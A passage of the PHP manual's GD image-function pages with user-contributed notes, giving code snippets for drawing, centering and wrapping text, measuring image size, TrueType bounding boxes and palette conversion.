   $max = floor($imgw/$t_w);

   for( $i=0; strlen($image_text) > 0; $i += $max)
   {
      array_push($text_array, substr($image_text,0,$max));
      if ( strlen($image_text) >= $max )
      {   $image_text = substr($image_text,$max); }
      else
      {   $image_text = ''; }
   }

   $t_y = ($imgh/2) - ($t_h*count($text_array)/2);

   foreach ( $text_array as $text )
   {
      $t_x = ($imgw/2)-($t_w*strlen($text)/2);
      imagestring($im, $text_size, $t_x, $t_y,
         $text, $textcolor);
      $t_y += $t_h;
   }

   // output the image
   header("Content-type: image/gpeg");
   imagejpeg($im);
}
gannon (at) portablesofdoom (dot) org 27-Dec-2006 06:53
I like this better than "tjpoe at cableaz dot com"'s function for wrapping text to fit width (auto-adjusts height as needed) since it doesn't only do 1 word per line.

function make_wrapped_txt($txt, $color=000000, $space=4, $font=4, $w=300) {
  if (strlen($color) != 6) $color = 000000;
  $int = hexdec($color);
  $h = imagefontheight($font);
  $fw = imagefontwidth($font);
  $txt = explode("\n", wordwrap($txt, ($w / $fw), "\n"));
  $lines = count($txt);
  $im = imagecreate($w, (($h * $lines) + ($lines * $space)));
  $bg = imagecolorallocate($im, 255, 255, 255);
  $color = imagecolorallocate($im, 0xFF & ($int >> 0x10), 0xFF & ($int >> 0x8), 0xFF & $int);
  $y = 0;
  foreach ($txt as $text) {
    $x = (($w - ($fw * strlen($text))) / 2);
    imagestring($im, $font, $x, $y, $text, $color);
    $y += ($h + $space);
  }
  header('Content-type: image/jpeg');
  die(imagejpeg($im));
}
iibm at free dot fr 14-Dec-2006 02:21
I've made a little modification of the (quite usefull) imagestringcutted function (when align=center, it doesn't work well for me if x1!=0) so juste replace the last line with :

<?php
   [...]
   else imagestring($img,$font,$x1+($x2-$x1)/ 2 - strlen($text) * $fontwidth / 2,$y,$text,$color);
}
?>
Piotr dot Sulecki at traxelektronik dot pl 09-Nov-2006 03:18
The built-in fonts used to be in latin-2 (iso8859-2) encoding. For some time, they are in latin-1 (iso8859-1) encoding. There is no way to change the encoding at all. If you need to use any other encoding, you have to use TrueType fonts.
god at in-heaven dot org 18-Oct-2006 02:47
Here's a simple function for creating an aligned string which is cutted to match the space between $x1 and $x2
<?php
function imagestringcutted($img,$font,$y,$x1,$x2,$text,$color,$align="center") {
    $fontwidth = imagefontwidth($font);
    $fullwidth = strlen($text) * $fontwidth;
    $maxwidth = $x2-$x1;
    $targetwidth = $fullwidth-(4*$fontwidth);
    if($fullwidth > $maxwidth) {
        for($i = 0; $i < strlen($text) AND ((strlen($text)-($i-4))*$fontwidth) > $targetwidth ;$i++) { }
        $text = substr($text,0,(strlen($text)-$i)-4)."...";
    }
    if($align == "left") imagestring($img,$font,$x1,$y,$text,$color);
    elseif($align == "right") imagestring($img,$font,$x2 - ((strlen($text) * $fontwidth)),$y,$text,$color);
    else imagestring($img,$font,($x2-$x1)/ 2 - strlen($text) * $fontwidth / 2,$y,$text,$color);
}
?>
Usage:
<?php
imagestringcutted($img,$font,$y,$x1,$x2,$text,$color,$align);
?>
Will create a string $text, which is cutted if it's too long to match between  $x1 and $2, on $img with font $font and color $color at height $y and with align to $align.
Hope it will help some people.
Sorry for my bad English.
rush at 507magazine dot com 28-Feb-2006 11:54
hello, I noticed that if you put a rand(3,5) it will put random sizes of font to each character put on the image. this is very useful when programming captchas for anti-spam form verification.
julien / at / theoconcept.com 01-Feb-2006 03:21
If you are looking for a way to generate a "CAPTCHA" image for a form verification (to verify it is not a robot), have a look at this : http://blog.theoconcept.com/static/distortion/

It gives an animated image with the parameter string, with distortion, here is an example :
http://blog.theoconcept.com/static/distortion/distortion.php

(*)  You'll need GD + Freetype support
(**) You'll need ImageMagick on the machine
m dot onderwater at esperantoxl dot nl 05-Dec-2005 10:55
There is a small error in the function for horizontal and vertical centering by "jurgen dot vanoosterwijck at pandora dot be"

the line

 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);

should be

 $cy = (imagesy($img)/2) - (imagefontheight($font)/2);
aly at slo-igre dot net 11-Jun-2005 01:12
There is an error in "tjpoe at cableaz dot com" 's function ImageStringWrap. Instead of

    else
           $string = $text;

there should be

     else
           $string = array($text);

for function to work for strings with only one word. Otherwise it works like a charm, thanks.
tjpoe at cableaz dot com 27-May-2005 07:48
i modified the centering functions and created this which centers each word on it's own line. You can adjust the spacing with the $valign var. currently no implimentation if text is too large for image. strings are tokenized by space, but can obviously be changed.

function ImageStringWrap($image, $font, $text, $color)
{
  $fontwidth = ImageFontWidth($font);
  $fontheight = ImageFontHeight($font);
  $words= str_word_count($text);
  if ($words > 1){
    $string=array(strtok($text,' '));
    for ($i = 1 ; $i <= $words ; $i++){
      $string=array_merge($string,array($i=>strtok(' ')));
    }
  }
  else
    $string=$text;
  $vspace=4;
  $y=((imagesy($image)-($fontheight*$words)-($words*$vspace))/2);
  foreach($string as $st){
    $x=((imagesx($image)-($fontwidth * strlen($st)))/2);
    ImageString($image,$font,$x,$y,$st,$color);
    $y+=($fontheight+$vspace);
  }
}
hope this is helpful
bpgordon at gmail dot com 23-May-2005 04:04
This code produces a png image of the text within the query. It autofits to the length of the string.
Usage: http://yoursite.com/text.php?abcdefg+hijk

Use + to produce a space in the image. The + can be excaped with a carat (^). Most other symbols work fine in the query string, like the ?.

<?php
header ("Content-type: image/png");
$string = $_ENV["QUERY_STRING"];
$md5 = md5($string); //just so we don't convert valid text into a +
$string = str_replace("^+", $md5, $string); //replaces ^+ with long, unnatural string
$string = str_replace("+", " ", $string); //replaces + with space
$string = str_replace($md5, "+", $string); //replaces the long, unnatural string with +
$width  = imagefontwidth($font) * strlen($string);
$height = imagefontheight($font);
$image = @imagecreate($width+2, $height+2);
$black = imagecolorallocate($image, 0, 0, 0); //background
$white = imagecolorallocate($image, 255, 255, 255);
imagestring($image, 2, 1, 1,  $string, $white);
imagepng($image);
imagedestroy($image);
?>
jurgen dot vanoosterwijck at pandora dot be 12-May-2005 10:52
Based on the previous example, here's how to center a string both horizontally and vertically...

<?php
function imagestringcentered ($img,$font,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
shadikka at gmail dot com 26-Mar-2005 11:49
My version of the centered string, it decreases the font number (since I've noticed smaller numbers are smaller fonts) until 1 if the string won't fit. Then it will give up.

<?php
function imagestringcentered ($img,$font,$cy,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
webmaster at acdrifter dot com 28-Feb-2005 08:08
If you are looking to center the text, use the following function; I'm not promising perfection...

function imagecenteredstring ( &$img, $font, $xMin, $xMax, $y, $str, $col ) {
    $textWidth = imagefontwidth( $font ) * strlen( $str );
    $xLoc = ( $xMax - $xMin - $textWidth ) / 2 + $xMin + $font;
    imagestring( $img, $font, $xLoc, $y, $str, $col );
}
cesargus at yahoo dot com 17-Nov-2004 10:27
//simple hello world

<?
header ("Content-type: image/png");

$img_handle = ImageCreate (200, 20) or die ("Cannot Create image");
$back_color = ImageColorAllocate ($img_handle, 0, 10, 10);
$txt_color = ImageColorAllocate ($img_handle, 235, 235, 51);
ImageString ($img_handle, 10, 25, 5,  "Hello world!", $txt_color);
ImagePng ($img_handle);
?>
brooks dot boyd at gmail dot com 13-Oct-2004 12:35
Drawing a string as an image is a handy way to disguise an eMail address so spam sniffers can't get it as easily. The only catch to creating a dynamic image with your eMail in it is the eMail to be displayed must be passed via the query string to enable static HTML to use it. So, the eMail must be encrypted slightly in order to not defeat the purpose of not typing your eMail address outright. I wrote the following script to do so:

Save the following as email.php
<?php
    if ($_GET['addr'] != "") {
        $msg = $_GET['addr'];
        $msg = preg_replace("/\[dot]/",".",$msg);
        $msg = preg_replace("/\[at]/","@",$msg);
        $final = "";
        for ($i=0; $i<=strlen($msg); $i++) {
            $final .= substr($msg, strlen($msg)-$i, 1);
        }
        $msg = $final;

        $char_width = 8;
        $char_height = 17;
        $padding = 3;
        $width = $padding*2+strlen($msg)*$char_width;
        $height = +$padding*2+$char_height;
        $im = imagecreatetruecolor($width,$height);
        imagealphablending($im, FALSE);
        imagesavealpha($im, TRUE);
        $bg = imagecolorallocatealpha($im, 255, 255, 0, 100);
        $text = imagecolorallocatealpha($im, 0, 0, 0, 0);
        imagefilledrectangle ($im, 0, 0, $width, $height, $bg); # Make transparent
        imagestring($im, 4, $padding, $padding, $msg, $text);
    } else {
        $im = imagecreatetruecolor(1,1);
        imagealphablending($im, FALSE);
        imagesavealpha($im, TRUE);
        $bg = imagecolorallocatealpha($im, 255, 0, 0, 125);
        imagefilledrectangle ($im, 0, 0, 1, 1, $bg); # Make transparent
    }
    header('Content-type: image/jpg');
    imagepng($im);
    imagedestroy($im);

?>

If the script is called without an eMail address, it outputs a 2x2 transparent image.

To call the script to generate the eMail "user@home.com", the HTML tag would be:

<img src="email.php?addr=moc[dot]emoh[at]resu">

To 'encrypt' the eMail address to pass to the script, write the address backwards and replace "." with "[dot]" and "@" with "[at]". It's not the most ironclad protection, but it thwarts most casual eMail sniffers.
php dot net at mvoncken dot nl 14-Feb-2003 02:18
A simple example:
To make one line of text fit in the image.

<?php
header ("Content-type: image/png");
$string = "spam@mvoncken.nl";
$font   = 4;
$width  = ImageFontWidth($font) * strlen($string);
$height = ImageFontHeight($font);

$im = @imagecreate ($width,$height);
$background_color = imagecolorallocate ($im, 255, 255, 255); //white background
$text_color = imagecolorallocate ($im, 0, 0,0);//black text
imagestring ($im, $font, 0, 0,  $string, $text_color);
imagepng ($im);
?>

I use something like this for spamprotection of my visitors (pass userid as an url-parameter for this php)
aholmes84 at hotmail dot com 08-Nov-2002 11:25
When setting the font, any integer less than 1 defaults to 1, and any integer greater than 5 defaults to 5.
deejay_world at yahoo dot com 10-Jun-2002 07:25
Width ImageString, the strings you draw are not automatically wrapped width the edge of the image. You may use this function to automatically wrap them:

function ImageStringWrap($image, $font, $x, $y, $text, $color, $maxwidth)
{
    $fontwidth = ImageFontWidth($font);
    $fontheight = ImageFontHeight($font);

    if ($maxwidth != NULL) {
        $maxcharsperline = floor($maxwidth / $fontwidth);
        $text = wordwrap($text, $maxcharsperline, "\n", 1);
      }

    $lines = explode("\n", $text);
    while (list($numl, $line) = each($lines)) {
        ImageString($image, $font, $x, $y, $line, $color);
        $y += $fontheight;
      }
}

So, in particular, if you want to wrap a text with the edge of the Image, you may do:
ImageStringWrap($img, $font, 0, $y, $text, $color, ImageSX($img) );
bob dot brown at opus dot co dot nz 02-Apr-2002 03:59
If you find that you are getting two characters on the end of your imageString that look like a Y and an upside down L then they're probably representations of CR/LF.  Try trim()ing the string before outputting it.  (I was sooo sure this was a bug <g>)
imagesettile
imagestringup
GD and Image Functions


Draw a string vertically

imagestring
imagesx
GD and Image Functions
PHP Manual

imagestringup

(PHP 4, PHP 5)

imagestringup — Draw a string vertically

Description

bool imagestringup ( resource $image , int $font , int $x , int $y , string $string , int $color )

Draws a string vertically at the given coordinates.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

x

x-coordinate of the bottom left corner.

y

y-coordinate of the bottom left corner.

string

The string to be written.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagestringup() example

<?php
// create a 100*100 image
$im = imagecreatetruecolor(100, 100);

// Write the text
$textcolor = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
imagestringup($im, 3, 40, 80, 'gd library', $textcolor);

// Save the image
imagepng($im, './stringup.png');
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagestringup()

See Also

  • imageloadfont() - Load a new font

User Contributed Notes

13-Dec-2002 05:19
function imagestringdown(&$image, $font, $x, $y, $s, $col)
{
    $width = imagesx($image);
   $height = imagesy($image);

    $text_image = imagecreate($width, $height);

   $white = imagecolorallocate ($text_image, 255, 255, 255);
   $black = imagecolorallocate ($text_image, 0, 0, 0);

    $transparent_colour = $white;
   if ($col == $white)
      $transparent_color = $black;

   imagefill($text_image, $width, $height, $transparent_colour);
   imagecolortransparent($text_image, $transparent_colour);

   imagestringup($text_image, $font, ($width - $x), ($height - $y), $s, $col);
   imagerotate($text_image, 180.0, $transparent_colour);

   imagecopy($image, $text_image, 0, 0, 0, 0, $width, $height);
}
imagestring
imagesx
GD and Image Functions


Get image width

imagestringup
imagesy
GD and Image Functions
PHP Manual

imagesx

(PHP 4, PHP 5)

imagesx — Get image width

Description

int imagesx ( resource $image )

Returns the width of the given image resource.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

Return Values

Return the width of the image or FALSE on errors.

Examples

Example #1 Using imagesx()

<?php

// create a 300*200 image
$img = imagecreatetruecolor(300, 200);

echo imagesx($img); // 300

?>

See Also

  • imagecreatetruecolor() - Create a new true color image
  • getimagesize() - Get the size of an image
  • imagesy() - Get image height

User Contributed Notes

kris 22-Sep-2004 05:49
You can in fact convert pixels to CM or to whatever measurement you want if you know the DPI and current resolution of the image.  This will of course give you the real life print size of the image and not the actual on screen size of the image.

This function seems to have been created for such a purpose.  It is for this reason the creator of the function passes the DPI and resolution to his function.
anC 26-Aug-2004 11:38
You can't convert pixels into centimeters or something else, atleast without knowing the resolution and the size of your screen and the viewrange of it. For example: The pixels on monitor that's resolution is 1024*768 and size is 17' the size of a pixel is smaller than on the monitor that's resolution is 1024*768 too but size is 21'.
leonardo AT saochico DOT com 21-Nov-2003 07:24
This function convert image size of Pixel to Centimeter

<?
#$imagem - source of image
#$dpi - resolution to convert E.g.: 72dpi or 300dpi

function px2cm($image, $dpi) {
    #Create a new image from file or URL
    $img = ImageCreateFromJpeg($image);

    #Get image width / height
    $x = ImageSX($img);
    $y = ImageSY($img);

    #Convert to centimeter
    $h = $x * 2.54 / $dpi;
    $l = $y * 2.54 / $dpi;

    #Format a number with grouped thousands
    $h = number_format($h, 2, ',', ' ');
    $l = number_format($l, 2, ',', ' ');

    #add size unit
    $px2cm[] = $h."cm";
    $px2cm[] = $l."cm";

    #return array w values
    #$px2cm[0] = X
    #$px2cm[1] = Y
    return $px2cm;
}

$image = "C:\\inetpub\\wwwroot\\lab\\trata_img\\l0gik.jpg";
$dpi = 300;

$result = px2cm($image, $dpi);

print ($result[0]." x ".$result[1]);
?>
imagestringup
imagesy
GD and Image Functions


Get image height

imagesx
imagetruecolortopalette
GD and Image Functions
PHP Manual

imagesy

(PHP 4, PHP 5)

imagesy — Get image height

Description

int imagesy ( resource $image )

Returns the height of the given image resource.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

Return Values

Return the height of the image or FALSE on errors.

Examples

Example #1 Using imagesy()

<?php

// create a 300*200 image
$img = imagecreatetruecolor(300, 200);

echo imagesy($img); // 200

?>

See Also

  • imagecreatetruecolor() - Create a new true color image
  • getimagesize() - Get the size of an image
  • imagesx() - Get image width

User Contributed Notes

BSE_Icheb at hotmail dot com 20-Jun-2003 04:13
You should destroy the $img too...
So it would be :
$img = @imagecreatefromjpeg("http://www.mysite.com/my_image.jpg");

if ($img) {
 $img_height = imagesy($img);
 ImageDestroy($img);
}

echo "My height is " . $img_height;
boo at php dot net 13-Aug-2002 11:01
To use this function notice that 'image' parameter it's a RESOURCE and NOT an Image File Path !

Here comes an exemple:

$img = @imagecreatefromgif("http://www.mysite.com/my_imag.gif");

if ($img) $img_height = imagesy($img);

echo "My height is " . $img_height;
imagesx
imagetruecolortopalette
GD and Image Functions


Convert a true color image to a palette image

imagesy
imagettfbbox
GD and Image Functions
PHP Manual

imagetruecolortopalette

(PHP 4 >= 4.0.6, PHP 5)

imagetruecolortopalette — Convert a true color image to a palette image

Description

bool imagetruecolortopalette ( resource $image , bool $dither , int $ncolors )

imagetruecolortopalette() converts a truecolor image to a palette image. The code for this function was originally drawn from the Independent JPEG Group library code, which is excellent. The code has been modified to preserve as much alpha channel information as possible in the resulting palette, in addition to preserving colors as well as possible. This does not work as well as might be hoped. It is usually best to simply produce a truecolor output image instead, which guarantees the highest output quality.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

dither

Indicates if the image should be dithered - if it is TRUE then dithering will be used which will result in a more speckled image but with better color approximation.

ncolors

Sets the maximum number of colors that should be retained in the palette.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Converting a true color image to a palette-based image

<?php
// Create a new true color image
$im = imagecreatetruecolor(100, 100);

// Convert to palette-based with no dithering and 255 colors
imagetruecolortopalette($im, false, 255);

// Save the image
imagepng($im, './paletteimage.png');
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

User Contributed Notes

djcassis(a)gmail.com 21-Sep-2008 06:52
>> zmorris at zsculpt dot com

I don't have the imageColorMatch() function on my server, but I could slighty improve the quality of the GIF/PNG image by converting it first to 256 colors, then to true colors and finally to the desired number of colors.

<?php

$dither = true;
$colors = 64;

$tmp = imageCreateFromJpeg('example.jpg');
$width = imagesX($tmp);
$height = imagesY($tmp);
imageTrueColorToPalette($tmp, $dither, 256);
$image = imageCreateTrueColor($width, $height);
imageCopy($image, $tmp, 0, 0, 0, 0, $width, $height);
imageDestroy($tmp);
imageTrueColorToPalette($image, $dither, $colors);

?>

Final $image will still have less than 64 colors, but more than if it was directly converted to 64 colors, and they match the JPEG image more.

Dunno why true colors to palette conversions are such a problem...
burninleo at gmx dot net 28-May-2006 09:51
If You know which palette to use (e.g. 255 colors greyscale) You may achieve better results using the following way:

1. Create new image
2. Apply palette
3. imagecopy() the content

This is especially helpful if you created a greyscale picture in trucolor-mode (to use antialiasing for example) but need to send it as palette (to use transparency in Internet Explorer).

The following example will *not* create great results from "real" truecolor images but works well on grey truecolor images:

<?PHP
function imageTruecolorToGrayscale(&$image) {
    $copy = $image;
    $dx = imagesx($image);
    $dy = imagesy($image);
    $image = imagecreate($dx, $dy);

    // 254 Colors + 1 reserved for transparency
    $transparency = imagecolorallocate($image, 0, 255, 0);
    $max = 255; $dd = 254;
    for ($i=0; $i<$dd; $i++) {
        $val = round($max * $i / ($dd-1));
        imagecolorallocate($image, $val, $val, $val);
    }

    imagecopy($image, $copy, 0, 0, 0, 0, $dx, $dy);
    imagedestroy($copy);
    return $transparency;
}
?>
will at fnatic dot com 24-Feb-2006 12:49
a basic palette to true color function
<?php
    function imagepalettetotruecolor(&$img)
    {
        if (!imageistruecolor($img))
        {
            $w = imagesx($img);
            $h = imagesy($img);
            $img1 = imagecreatetruecolor($w,$h);
            imagecopy($img1,$img,0,0,0,0,$w,$h);
            $img = $img1;
        }
    }
?>
zmorris at zsculpt dot com 16-Aug-2004 10:58
Sometimes this function gives ugly/dull colors (especially when ncolors < 256).  Here is a replacement that uses a temporary image and ImageColorMatch() to match the colors more accurately.  It might be a hair slower, but the file size ends up the same:

<?php
function    ImageTrueColorToPalette2( $image, $dither, $ncolors )
{
    $width = imagesx( $image );
    $height = imagesy( $image );
    $colors_handle = ImageCreateTrueColor( $width, $height );
    ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
    ImageTrueColorToPalette( $image, $dither, $ncolors );
    ImageColorMatch( $colors_handle, $image );
    ImageDestroy( $colors_handle );
}
?>
php at roelvanmastbergen dot nl 06-Jun-2004 09:34
The palette created by this function often looks quite awful (at least it did on all of my test images). A better way to convert your true-colour images is by first making a resized copy of them with imagecopyresampled() to a 16x16 pixel destination. The resized image then contains only 256 pixels, which is exactly the number of colours you need. These colours usually look a lot better than the ones generated by imagetruecolortopalette().

The only disadvantage to this method I have found is that different-coloured details in the original image are lost in the conversion.
jemore at nospaM dot m6net dot fr 22-Nov-2003 10:25
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly to GIF format with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
darkelder at php dot net 17-Jul-2003 01:34
TrueColor images should be converted to Palette images with this function. So, if you want to use imagecolorstotal() function [ http://php.net/manual/en/function.imagecolorstotal.php ] , you should first convert the image to a palette image with imagetruecolortopalette();
imagesy
imagettfbbox
GD and Image Functions


Give the bounding box of a text using TrueType fonts

imagetruecolortopalette
imagettftext
GD and Image Functions
PHP Manual

imagettfbbox

(PHP 4, PHP 5)

imagettfbbox — Give the bounding box of a text using TrueType fonts

Description

array imagettfbbox ( float $size , float $angle , string $fontfile , string $text )

This function calculates and returns the bounding box in pixels for a TrueType text.

Parameters

size

The font size.

Note: In GD 1, this is measured in pixels. In GD 2, this is measured in points.

angle

Angle in degrees in which text will be measured.

fontfile

The name of the TrueType font file (can be a URL). Depending on which version of the GD library that PHP is using, it may attempt to search for files that do not begin with a leading '/' by appending '.ttf' to the filename and searching along a library-defined font path.

text

The string to be measured.

Return Values

imagettfbbox() returns an array with 8 elements representing four points making the bounding box of the text on success and FALSE on error.

key | contents
0 | lower left corner, X position
1 | lower left corner, Y position
2 | lower right corner, X position
3 | lower right corner, Y position
4 | upper right corner, X position
5 | upper right corner, Y position
6 | upper left corner, X position
7 | upper left corner, Y position

The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner seeing the text horizontally.

Examples

Example #1 imagettfbbox() example

<?php
// Create a 300x150 image
$im = imagecreatetruecolor(300, 150);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Set the background to be white
imagefilledrectangle($im, 0, 0, 299, 299, $white);

// Path to our font file
$font = './arial.ttf';

// First we create our bounding box for the first text
$bbox = imagettfbbox(10, 45, $font, 'Powered by PHP ' . phpversion());

// This is our cordinates for X and Y
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) - 25;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

// Write it
imagettftext($im, 10, 45, $x, $y, $black, $font, 'Powered by PHP ' . phpversion());

// Create the next bounding box for the second text
$bbox = imagettfbbox(10, 45, $font, 'and Zend Engine ' . zend_version());

// Set the cordinates so its next to the first text
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) + 10;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

// Write it
imagettftext($im, 10, 45, $x, $y, $black, $font, 'and Zend Engine ' . zend_version());

// Output to browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note:

This function requires both the GD library and the » FreeType library.

See Also

  • imagettftext() - Write text to the image using TrueType fonts

User Contributed Notes

jodybrabec at gmail dot com 30-Aug-2011 03:39
Very CLEAR version of func., with example....

<?php

function calculateTextBox($text,$fontFile,$fontSize,$fontAngle) {
    /************
    simple function that calculates the *exact* bounding box (single pixel precision).
    The function returns an associative array with these keys:
    left, top:  coordinates you will pass to imagettftext
    width, height: dimension of the image you have to create
    *************/
    $rect = imagettfbbox($fontSize,$fontAngle,$fontFile,$text);
    $minX = min(array($rect[0],$rect[2],$rect[4],$rect[6]));
    $maxX = max(array($rect[0],$rect[2],$rect[4],$rect[6]));
    $minY = min(array($rect[1],$rect[3],$rect[5],$rect[7]));
    $maxY = max(array($rect[1],$rect[3],$rect[5],$rect[7]));

    return array(
     "left"   => abs($minX) - 1,
     "top"    => abs($minY) - 1,
     "width"  => $maxX - $minX,
     "height" => $maxY - $minY,
     "box"    => $rect
    );
}

// Example usage - gif image output

$text_string    = "Hullo World";
$font_ttf        = "./fonts/arial.ttf";
$font_size        = 22;
$text_angle        = 0;
$text_padding    = 10; // Img padding - around text

$the_box        = calculateTextBox($text_string, $font_ttf, $font_size, $text_angle);

$imgWidth    = $the_box["width"] + $text_padding;
$imgHeight    = $the_box["height"] + $text_padding;

$image = imagecreate($imgWidth,$imgHeight);
imagefill($image, imagecolorallocate($image,200,200,200));

$color = imagecolorallocate($image,0,0,0);
imagettftext($image,
    $font_size,
    $text_angle,
    $the_box["left"] + ($imgWidth / 2) - ($the_box["width"] / 2),
    $the_box["top"] + ($imgHeight / 2) - ($the_box["height"] / 2),
    $color,
    $font_ttf,
    $text_string);

header("Content-Type: image/gif");
imagegif($image);
imagedestroy($image);

?>

[ remember: No spaces before or after the <?php ... ?> tag, because of header() call, you Roast! ]
phpcity at phpcountry dot net 18-May-2011 06:21
I could in no way reproduce this function's example if I was to use any accented letter.

Replacing imagecreatetruecolor by imagecreate worked correctly with accents.
Andrey Zakharov 04-Jan-2011 03:16
For mixed text drawing on image, height given by this function is useless and leads to text's hip-hops over the baseline .

I will use just this:
<?php
$size = 12;//font height
$font = 'Arial';// your font
$char = 'Test';
$char = 'With W';
$char = 'without w but with p and y and q';

    $rect = imagettfbbox($size, 0, $font, $char);

    $image_height =abs( $rect[7] );//do no respect bottom margin
    $imw = $rect[2] - $rect[0]; //as usual
    $bx = abs( $rect[ 0 ] ); // X offset
    $by = $size * 1.25; // Y offset - we will use const LINEHEIGHT
?>
a2hansolo at gmail dot com 22-Dec-2010 11:29
measure bg image size, wrap text to fit image width

<?php
$mx = imagesx($main_img);
$my = imagesy($main_img);

//TEXT VARS/////////
$main_text = ;
$main_text_size = ;
$main_text_x = ($mx/2);

$main_text_color = imagecolorallocate($main_img, $main_text_red, $main_text_green, $main_text_blue);
$words = explode(' ', $main_text);
$lines = array($words[0]);
$currentLine = 0;
    for($i = 1; $i < count($words); $i++)
    {
        $lineSize = imagettfbbox($main_text_size, 0, $mt_f, $lines[$currentLine] . ' ' . $words[$i]);
        if($lineSize[2] - $lineSize[0] < $mx)
        {
            $lines[$currentLine] .= ' ' . $words[$i];
        }
        else
        {
            $currentLine++;
            $lines[$currentLine] = $words[$i];
        }
    }
$line_count = 1;
// Loop through the lines and place them on the image
foreach ($lines as $line)
{
    $line_box = imagettfbbox($main_text_size, 0, $mt_f, "$line");
    $line_width = $line_box[0]+$line_box[2];
    $line_height = $line_box[1]-$line_box[7];
    $line_margin = ($mx-$line_width)/2;
    $line_y = (($line_height+12) * $line_count);
    imagettftext($main_img, $main_t_s, 0, $line_margin, $line_y, $main_text_color, $mt_f, $line);

    // Increment Y so the next line is below the previous line
    $line_count ++;
}
?>
blackbart at simail dot it 15-Apr-2010 11:12
I wrote a simple function that calculates the *exact* bounding box (single pixel precision).
The function returns an associative array with these keys:
left, top:  coordinates you will pass to imagettftext
width, height: dimension of the image you have to create

<?php
function calculateTextBox($font_size, $font_angle, $font_file, $text) {
  $box   = imagettfbbox($font_size, $font_angle, $font_file, $text);
  if( !$box )
    return false;
  $min_x = min( array($box[0], $box[2], $box[4], $box[6]) );
  $max_x = max( array($box[0], $box[2], $box[4], $box[6]) );
  $min_y = min( array($box[1], $box[3], $box[5], $box[7]) );
  $max_y = max( array($box[1], $box[3], $box[5], $box[7]) );
  $width  = ( $max_x - $min_x );
  $height = ( $max_y - $min_y );
  $left   = abs( $min_x ) + $width;
  $top    = abs( $min_y ) + $height;
  // to calculate the exact bounding box i write the text in a large image
  $img     = @imagecreatetruecolor( $width << 2, $height << 2 );
  $white   =  imagecolorallocate( $img, 255, 255, 255 );
  $black   =  imagecolorallocate( $img, 0, 0, 0 );
  imagefilledrectangle($img, 0, 0, imagesx($img), imagesy($img), $black);
  // for sure the text is completely in the image!
  imagettftext( $img, $font_size,
                $font_angle, $left, $top,
                $white, $font_file, $text);
  // start scanning (0=> black => empty)
  $rleft  = $w4 = $width<<2;
  $rright = 0;
  $rbottom   = 0;
  $rtop = $h4 = $height<<2;
  for( $x = 0; $x < $w4; $x++ )
    for( $y = 0; $y < $h4; $y++ )
      if( imagecolorat( $img, $x, $y ) ){
        $rleft   = min( $rleft, $x );
        $rright  = max( $rright, $x );
        $rtop    = min( $rtop, $y );
        $rbottom = max( $rbottom, $y );
      }
  // destroy img and serve the result
  imagedestroy( $img );
  return array( "left"   => $left - $rleft,
                "top"    => $top  - $rtop,
                "width"  => $rright - $rleft + 1,
                "height" => $rbottom - $rtop + 1 );
}
?>
peterjwest3 at gmail dot com 08-Apr-2010 06:18
As many of you know, this function is bugged in several versions of PHP. It should return the coordinates relative to the baseline of the font. So if your text includes characters like g and p then the bounding box should extend below zero on the Y axis, however it doesn't. This is a problem because imagettftext() positions text using the baseline, so all your text will be misaligned.

My solution is to create an image of the desired font and font-size using all ascii characters with imagettfbbox() and imagettftext(). The height of this image is used as the height for the real image.

I then analyse the image to get the vertical offset of the text (the background color should be $baseColor)
<?php
function getYOffset($image, $baseColor) {
    for($y = 0; $y < $this->height(); $y++)
        for($x = 0; $x < $this->width(); $x++)
            if (imagecolorat($image, $x, $y) !== $baseColor)
                return $y; }
?>

This offset can be used as the baseline for the font (for this font-size). You can use a similar trick for the horizontal offset, but that changes depending on the first character.
hkc@taiwan 22-Aug-2009 12:57
I want to output a bounding box of a text as an image straightly. I did like this:

<?php

$text = "<?php echo \"hello, world\"; ?>";
$font = "./arial.ttf";
$size = "60";

$bbox = imagettfbbox($size, 0, $font, $text);

$width = abs($bbox[2] - $bbox[0]);
$height = abs($bbox[7] - $bbox[1]);

$image = imagecreatetruecolor($width, $height);

$bgcolor = imagecolorallocate($image, 255, 255, 255);
$color = imagecolorallocate($image, 0, 0, 0);

$x = $bbox[0] + ($width / 2) - ($bbox[4] / 2);
$y = $bbox[1] + ($height / 2) - ($bbox[5] / 2);

imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $bgcolor);
imagettftext($image, $size, 0, $x, $y, $color, $font, $text);

$last_pixel= imagecolorat($image, 0, 0);

